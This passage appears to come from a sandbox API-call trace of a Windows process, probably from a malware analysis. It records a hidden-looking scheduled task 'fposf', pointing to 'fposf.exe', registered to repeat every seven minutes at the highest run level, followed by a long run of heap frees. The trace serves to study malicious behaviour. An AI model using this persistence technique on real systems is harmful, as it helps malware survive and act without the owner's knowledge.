wMatch=0x61) returned 0x0 [0087.383] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0087.383] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0087.383] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0087.383] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0087.383] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0087.383] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0087.383] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0087.383] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0087.383] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0087.383] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0087.383] IUnknown:Release (This=0x376620) returned 0x1 [0087.383] IUnknown:Release (This=0x377e90) returned 0x1 [0087.383] ITaskDefinition:get_Triggers (in: This=0x377dd0, ppTriggers=0xbc800 | out: ppTriggers=0xbc800*=0x376390) returned 0x0 [0087.383] ITriggerCollection:Create (in: This=0x376390, Type=1, ppTrigger=0xbc7f8 | out: ppTrigger=0xbc7f8*=0x376690) returned 0x0 [0087.384] lstrlenW (lpString="7") returned 1 [0087.384] _vsnwprintf (in: _Buffer=0xbc780, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xbc778 | out: _Buffer="PT7M") returned 4 [0087.384] ITrigger:get_Repetition (in: This=0x376690, ppRepeat=0xbc7f0 | out: ppRepeat=0xbc7f0*=0x376720) returned 0x0 [0087.384] IRepetitionPattern:put_Interval (This=0x376720, Interval="PT7M") returned 0x0 [0087.384] IUnknown:Release (This=0x376720) returned 0x1 [0087.384] _vsnwprintf (in: _Buffer=0xbc740, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xbc718 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0087.384] ITrigger:put_StartBoundary (This=0x376690, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0087.384] lstrlenW (lpString="") returned 0 [0087.384] lstrlenW (lpString="") returned 0 [0087.384] lstrlenW (lpString="") returned 0 [0087.384] lstrlenW (lpString="") returned 0 [0087.384] IUnknown:Release (This=0x376690) returned 0x1 [0087.384] IUnknown:Release (This=0x376390) returned 0x1 [0087.384] ITaskDefinition:get_Settings (in: This=0x377dd0, ppSettings=0xbcca0 | out: ppSettings=0xbcca0*=0x376400) returned 0x0 [0087.385] lstrlenW (lpString="") returned 0 [0087.385] IUnknown:Release (This=0x376400) returned 0x1 [0087.385] GetLocalTime (in: lpSystemTime=0xbcb58 | out: lpSystemTime=0xbcb58*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xb, wMilliseconds=0x2f0)) [0087.385] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0087.385] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0087.385] GetUserNameW (in: lpBuffer=0xbcb80, pcbBuffer=0xbcb68 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xbcb68) returned 1 [0087.385] ITaskDefinition:get_RegistrationInfo (in: This=0x377dd0, ppRegistrationInfo=0xbcb50 | out: ppRegistrationInfo=0xbcb50*=0x377f10) returned 0x0 [0087.386] IRegistrationInfo:put_Author (This=0x377f10, Author="") returned 0x0 [0087.386] _vsnwprintf (in: _Buffer=0xbcb80, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xbcb18 | out: _Buffer="2023-09-19T17:17:11") returned 19 [0087.386] IRegistrationInfo:put_Date (This=0x377f10, Date="") returned 0x0 [0087.386] IUnknown:Release (This=0x377f10) returned 0x1 [0087.386] malloc (_Size=0x18) returned 0x3767a0 [0087.386] free (_Block=0x3767a0) [0087.386] lstrlenW (lpString="") returned 0 [0087.386] ITaskDefinition:get_Principal (in: This=0x377dd0, ppPrincipal=0xbcd70 | out: ppPrincipal=0xbcd70*=0x376570) returned 0x0 [0087.386] IPrincipal:put_RunLevel (This=0x376570, RunLevel=1) returned 0x0 [0087.386] IUnknown:Release (This=0x376570) returned 0x1 [0087.386] malloc (_Size=0x18) returned 0x3767a0 [0087.386] ITaskFolder:RegisterTaskDefinition (in: This=0x377d80, Path="fposf", pDefinition=0x377dd0, flags=6, UserId=0xbcdf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xbce30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xbed00, varVal2=0xfe), LogonType=3, sddl=0xbce10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xbcd10 | out: ppTask=0xbcd10*=0x376940) returned 0x0 [0087.604] free (_Block=0x3767a0) [0087.604] _memicmp (_Buf1=0xfbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.604] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0xfd400, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0087.604] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0087.604] GetProcessHeap () returned 0xe0000 [0087.604] GetProcessHeap () returned 0xe0000 [0087.604] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd760) returned 1 [0087.605] GetProcessHeap () returned 0xe0000 [0087.605] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd760) returned 0xc [0087.605] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd760 | out: hHeap=0xe0000) returned 1 [0087.605] GetProcessHeap () returned 0xe0000 [0087.605] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x82) returned 0x119d90 [0087.605] _vsnwprintf (in: _Buffer=0xbd450, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xbccb8 | out: _Buffer="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n") returned 67 [0087.605] _fileno (_File=0x7feffe22ab0) returned -2 [0087.605] _errno () returned 0x374bb0 [0087.605] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0087.605] SetLastError (dwErrCode=0x6) [0087.605] lstrlenW (lpString="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n") returned 67 [0087.605] GetConsoleOutputCP () returned 0x0 [0087.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0087.605] GetConsoleOutputCP () returned 0x0 [0087.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 67 [0087.605] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 67 [0087.606] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0087.606] IUnknown:Release (This=0x376940) returned 0x0 [0087.606] TaskScheduler:IUnknown:Release (This=0x377dd0) returned 0x0 [0087.606] TaskScheduler:IUnknown:Release (This=0x377d80) returned 0x0 [0087.606] TaskScheduler:IUnknown:Release (This=0x25dee0) returned 0x1 [0087.606] lstrlenW (lpString="") returned 0 [0087.606] lstrlenW (lpString="7") returned 1 [0087.606] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="7", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0087.606] GetProcessHeap () returned 0xe0000 [0087.606] GetProcessHeap () returned 0xe0000 [0087.606] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc4b0) returned 1 [0087.606] GetProcessHeap () returned 0xe0000 [0087.606] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc4b0) returned 0x1fc [0087.607] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc4b0 | out: hHeap=0xe0000) returned 1 [0087.607] GetProcessHeap () returned 0xe0000 [0087.607] GetProcessHeap () returned 0xe0000 [0087.607] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc320) returned 1 [0087.607] GetProcessHeap () returned 0xe0000 [0087.607] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc320) returned 0x4 [0087.607] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc320 | out: hHeap=0xe0000) returned 1 [0087.607] GetProcessHeap () returned 0xe0000 [0087.607] GetProcessHeap () returned 0xe0000 [0087.608] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd680) returned 1 [0087.608] GetProcessHeap () returned 0xe0000 [0087.608] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd680) returned 0x16 [0087.608] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd680 | out: hHeap=0xe0000) returned 1 [0087.608] GetProcessHeap () returned 0xe0000 [0087.608] GetProcessHeap () returned 0xe0000 [0087.608] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd660) returned 1 [0087.608] GetProcessHeap () returned 0xe0000 [0087.608] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd660) returned 0x18 [0087.608] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd660 | out: hHeap=0xe0000) returned 1 [0087.608] GetProcessHeap () returned 0xe0000 [0087.608] GetProcessHeap () returned 0xe0000 [0087.608] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcf30) returned 1 [0087.608] GetProcessHeap () returned 0xe0000 [0087.608] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcf30) returned 0x20 [0087.609] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcf30 | out: hHeap=0xe0000) returned 1 [0087.609] GetProcessHeap () returned 0xe0000 [0087.609] GetProcessHeap () returned 0xe0000 [0087.609] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc150) returned 1 [0087.609] GetProcessHeap () returned 0xe0000 [0087.609] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc150) returned 0xa0 [0087.610] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc150 | out: hHeap=0xe0000) returned 1 [0087.610] GetProcessHeap () returned 0xe0000 [0087.610] GetProcessHeap () returned 0xe0000 [0087.610] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbbd0) returned 1 [0087.610] GetProcessHeap () returned 0xe0000 [0087.610] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbbd0) returned 0x18 [0087.610] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbbd0 | out: hHeap=0xe0000) returned 1 [0087.610] GetProcessHeap () returned 0xe0000 [0087.610] GetProcessHeap () returned 0xe0000 [0087.610] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcc90) returned 1 [0087.610] GetProcessHeap () returned 0xe0000 [0087.610] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcc90) returned 0x20 [0087.611] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcc90 | out: hHeap=0xe0000) returned 1 [0087.611] GetProcessHeap () returned 0xe0000 [0087.611] GetProcessHeap () returned 0xe0000 [0087.611] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc3b0) returned 1 [0087.611] GetProcessHeap () returned 0xe0000 [0087.611] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc3b0) returned 0x5e [0087.612] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc3b0 | out: hHeap=0xe0000) returned 1 [0087.612] GetProcessHeap () returned 0xe0000 [0087.612] GetProcessHeap () returned 0xe0000 [0087.612] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd6a0) returned 1 [0087.612] GetProcessHeap () returned 0xe0000 [0087.612] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd6a0) returned 0x18 [0087.612] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd6a0 | out: hHeap=0xe0000) returned 1 [0087.612] GetProcessHeap () returned 0xe0000 [0087.612] GetProcessHeap () returned 0xe0000 [0087.612] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcc60) returned 1 [0087.612] GetProcessHeap () returned 0xe0000 [0087.612] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcc60) returned 0x20 [0087.613] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcc60 | out: hHeap=0xe0000) returned 1 [0087.613] GetProcessHeap () returned 0xe0000 [0087.613] GetProcessHeap () returned 0xe0000 [0087.613] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfde10) returned 1 [0087.613] GetProcessHeap () returned 0xe0000 [0087.613] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfde10) returned 0x60 [0087.614] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfde10 | out: hHeap=0xe0000) returned 1 [0087.614] GetProcessHeap () returned 0xe0000 [0087.614] GetProcessHeap () returned 0xe0000 [0087.614] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd640) returned 1 [0087.614] GetProcessHeap () returned 0xe0000 [0087.614] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd640) returned 0x18 [0087.614] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd640 | out: hHeap=0xe0000) returned 1 [0087.614] GetProcessHeap () returned 0xe0000 [0087.614] GetProcessHeap () returned 0xe0000 [0087.614] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcc30) returned 1 [0087.614] GetProcessHeap () returned 0xe0000 [0087.614] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcc30) returned 0x20 [0087.615] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcc30 | out: hHeap=0xe0000) returned 1 [0087.615] GetProcessHeap () returned 0xe0000 [0087.615] GetProcessHeap () returned 0xe0000 [0087.615] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc490) returned 1 [0087.615] GetProcessHeap () returned 0xe0000 [0087.615] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc490) returned 0xe [0087.615] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc490 | out: hHeap=0xe0000) returned 1 [0087.615] GetProcessHeap () returned 0xe0000 [0087.615] GetProcessHeap () returned 0xe0000 [0087.615] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc470) returned 1 [0087.615] GetProcessHeap () returned 0xe0000 [0087.615] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc470) returned 0x18 [0087.615] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc470 | out: hHeap=0xe0000) returned 1 [0087.615] GetProcessHeap () returned 0xe0000 [0087.615] GetProcessHeap () returned 0xe0000 [0087.615] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5e50) returned 1 [0087.615] GetProcessHeap () returned 0xe0000 [0087.615] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5e50) returned 0x20 [0087.616] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5e50 | out: hHeap=0xe0000) returned 1 [0087.616] GetProcessHeap () returned 0xe0000 [0087.616] GetProcessHeap () returned 0xe0000 [0087.616] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbd50) returned 1 [0087.616] GetProcessHeap () returned 0xe0000 [0087.616] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbd50) returned 0x208 [0087.617] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbd50 | out: hHeap=0xe0000) returned 1 [0087.617] GetProcessHeap () returned 0xe0000 [0087.617] GetProcessHeap () returned 0xe0000 [0087.619] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbbb0) returned 1 [0087.619] GetProcessHeap () returned 0xe0000 [0087.619] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbbb0) returned 0x18 [0087.619] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbbb0 | out: hHeap=0xe0000) returned 1 [0087.619] GetProcessHeap () returned 0xe0000 [0087.619] GetProcessHeap () returned 0xe0000 [0087.619] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5d60) returned 1 [0087.619] GetProcessHeap () returned 0xe0000 [0087.619] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5d60) returned 0x20 [0087.620] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5d60 | out: hHeap=0xe0000) returned 1 [0087.620] GetProcessHeap () returned 0xe0000 [0087.620] GetProcessHeap () returned 0xe0000 [0087.620] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd400) returned 1 [0087.620] GetProcessHeap () returned 0xe0000 [0087.620] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd400) returned 0x200 [0087.620] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd400 | out: hHeap=0xe0000) returned 1 [0087.620] GetProcessHeap () returned 0xe0000 [0087.620] GetProcessHeap () returned 0xe0000 [0087.620] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbbf0) returned 1 [0087.620] GetProcessHeap () returned 0xe0000 [0087.620] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbbf0) returned 0x18 [0087.620] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbbf0 | out: hHeap=0xe0000) returned 1 [0087.620] GetProcessHeap () returned 0xe0000 [0087.620] GetProcessHeap () returned 0xe0000 [0087.621] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5cd0) returned 1 [0087.621] GetProcessHeap () returned 0xe0000 [0087.621] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5cd0) returned 0x20 [0087.621] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5cd0 | out: hHeap=0xe0000) returned 1 [0087.621] GetProcessHeap () returned 0xe0000 [0087.621] GetProcessHeap () returned 0xe0000 [0087.621] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc360) returned 1 [0087.621] GetProcessHeap () returned 0xe0000 [0087.621] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc360) returned 0x14 [0087.621] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc360 | out: hHeap=0xe0000) returned 1 [0087.621] GetProcessHeap () returned 0xe0000 [0087.621] GetProcessHeap () returned 0xe0000 [0087.621] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc340) returned 1 [0087.621] GetProcessHeap () returned 0xe0000 [0087.621] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc340) returned 0x18 [0087.621] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc340 | out: hHeap=0xe0000) returned 1 [0087.622] GetProcessHeap () returned 0xe0000 [0087.622] GetProcessHeap () returned 0xe0000 [0087.622] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5c10) returned 1 [0087.622] GetProcessHeap () returned 0xe0000 [0087.622] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5c10) returned 0x20 [0087.622] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5c10 | out: hHeap=0xe0000) returned 1 [0087.622] GetProcessHeap () returned 0xe0000 [0087.622] GetProcessHeap () returned 0xe0000 [0087.622] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc380) returned 1 [0087.622] GetProcessHeap () returned 0xe0000 [0087.622] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc380) returned 0x16 [0087.622] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc380 | out: hHeap=0xe0000) returned 1 [0087.622] GetProcessHeap () returned 0xe0000 [0087.622] GetProcessHeap () returned 0xe0000 [0087.622] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc200) returned 1 [0087.622] GetProcessHeap () returned 0xe0000 [0087.622] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc200) returned 0x18 [0087.622] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc200 | out: hHeap=0xe0000) returned 1 [0087.623] GetProcessHeap () returned 0xe0000 [0087.623] GetProcessHeap () returned 0xe0000 [0087.623] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5be0) returned 1 [0087.623] GetProcessHeap () returned 0xe0000 [0087.623] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5be0) returned 0x20 [0087.623] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5be0 | out: hHeap=0xe0000) returned 1 [0087.623] GetProcessHeap () returned 0xe0000 [0087.623] GetProcessHeap () returned 0xe0000 [0087.623] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb30) returned 1 [0087.623] GetProcessHeap () returned 0xe0000 [0087.623] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbb30) returned 0x2 [0087.623] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb30 | out: hHeap=0xe0000) returned 1 [0087.623] GetProcessHeap () returned 0xe0000 [0087.623] GetProcessHeap () returned 0xe0000 [0087.623] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5a30) returned 1 [0087.623] GetProcessHeap () returned 0xe0000 [0087.623] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5a30) returned 0x20 [0087.624] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5a30 | out: hHeap=0xe0000) returned 1 [0087.624] GetProcessHeap () returned 0xe0000 [0087.624] GetProcessHeap () returned 0xe0000 [0087.624] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5a60) returned 1 [0087.624] GetProcessHeap () returned 0xe0000 [0087.624] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5a60) returned 0x20 [0087.625] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5a60 | out: hHeap=0xe0000) returned 1 [0087.625] GetProcessHeap () returned 0xe0000 [0087.625] GetProcessHeap () returned 0xe0000 [0087.625] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5a90) returned 1 [0087.625] GetProcessHeap () returned 0xe0000 [0087.625] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5a90) returned 0x20 [0087.625] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5a90 | out: hHeap=0xe0000) returned 1 [0087.625] GetProcessHeap () returned 0xe0000 [0087.625] GetProcessHeap () returned 0xe0000 [0087.626] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5ac0) returned 1 [0087.626] GetProcessHeap () returned 0xe0000 [0087.626] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5ac0) returned 0x20 [0087.627] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5ac0 | out: hHeap=0xe0000) returned 1 [0087.627] GetProcessHeap () returned 0xe0000 [0087.627] GetProcessHeap () returned 0xe0000 [0087.627] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfccc0) returned 1 [0087.627] GetProcessHeap () returned 0xe0000 [0087.627] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfccc0) returned 0x20 [0087.628] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfccc0 | out: hHeap=0xe0000) returned 1 [0087.628] GetProcessHeap () returned 0xe0000 [0087.628] GetProcessHeap () returned 0xe0000 [0087.628] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd7a0) returned 1 [0087.628] GetProcessHeap () returned 0xe0000 [0087.628] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd7a0) returned 0xa [0087.628] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd7a0 | out: hHeap=0xe0000) returned 1 [0087.628] GetProcessHeap () returned 0xe0000 [0087.628] GetProcessHeap () returned 0xe0000 [0087.628] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfccf0) returned 1 [0087.628] GetProcessHeap () returned 0xe0000 [0087.628] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfccf0) returned 0x20 [0087.628] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfccf0 | out: hHeap=0xe0000) returned 1 [0087.628] GetProcessHeap () returned 0xe0000 [0087.628] GetProcessHeap () returned 0xe0000 [0087.629] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf7bc0) returned 1 [0087.629] GetProcessHeap () returned 0xe0000 [0087.629] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf7bc0) returned 0x30 [0087.629] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf7bc0 | out: hHeap=0xe0000) returned 1 [0087.629] GetProcessHeap () returned 0xe0000 [0087.629] GetProcessHeap () returned 0xe0000 [0087.629] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd20) returned 1 [0087.629] GetProcessHeap () returned 0xe0000 [0087.629] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcd20) returned 0x20 [0087.630] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd20 | out: hHeap=0xe0000) returned 1 [0087.630] GetProcessHeap () returned 0xe0000 [0087.630] GetProcessHeap () returned 0xe0000 [0087.630] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf7c00) returned 1 [0087.630] GetProcessHeap () returned 0xe0000 [0087.630] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf7c00) returned 0x30 [0087.630] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf7c00 | out: hHeap=0xe0000) returned 1 [0087.630] GetProcessHeap () returned 0xe0000 [0087.630] GetProcessHeap () returned 0xe0000 [0087.630] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcf00) returned 1 [0087.630] GetProcessHeap () returned 0xe0000 [0087.630] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcf00) returned 0x20 [0087.631] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcf00 | out: hHeap=0xe0000) returned 1 [0087.631] GetProcessHeap () returned 0xe0000 [0087.631] GetProcessHeap () returned 0xe0000 [0087.631] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd6c0) returned 1 [0087.631] GetProcessHeap () returned 0xe0000 [0087.631] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd6c0) returned 0x10 [0087.631] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd6c0 | out: hHeap=0xe0000) returned 1 [0087.631] GetProcessHeap () returned 0xe0000 [0087.631] GetProcessHeap () returned 0xe0000 [0087.631] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfced0) returned 1 [0087.631] GetProcessHeap () returned 0xe0000 [0087.631] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfced0) returned 0x20 [0087.632] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfced0 | out: hHeap=0xe0000) returned 1 [0087.632] GetProcessHeap () returned 0xe0000 [0087.632] GetProcessHeap () returned 0xe0000 [0087.632] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd6e0) returned 1 [0087.632] GetProcessHeap () returned 0xe0000 [0087.632] RtlSizeHeap 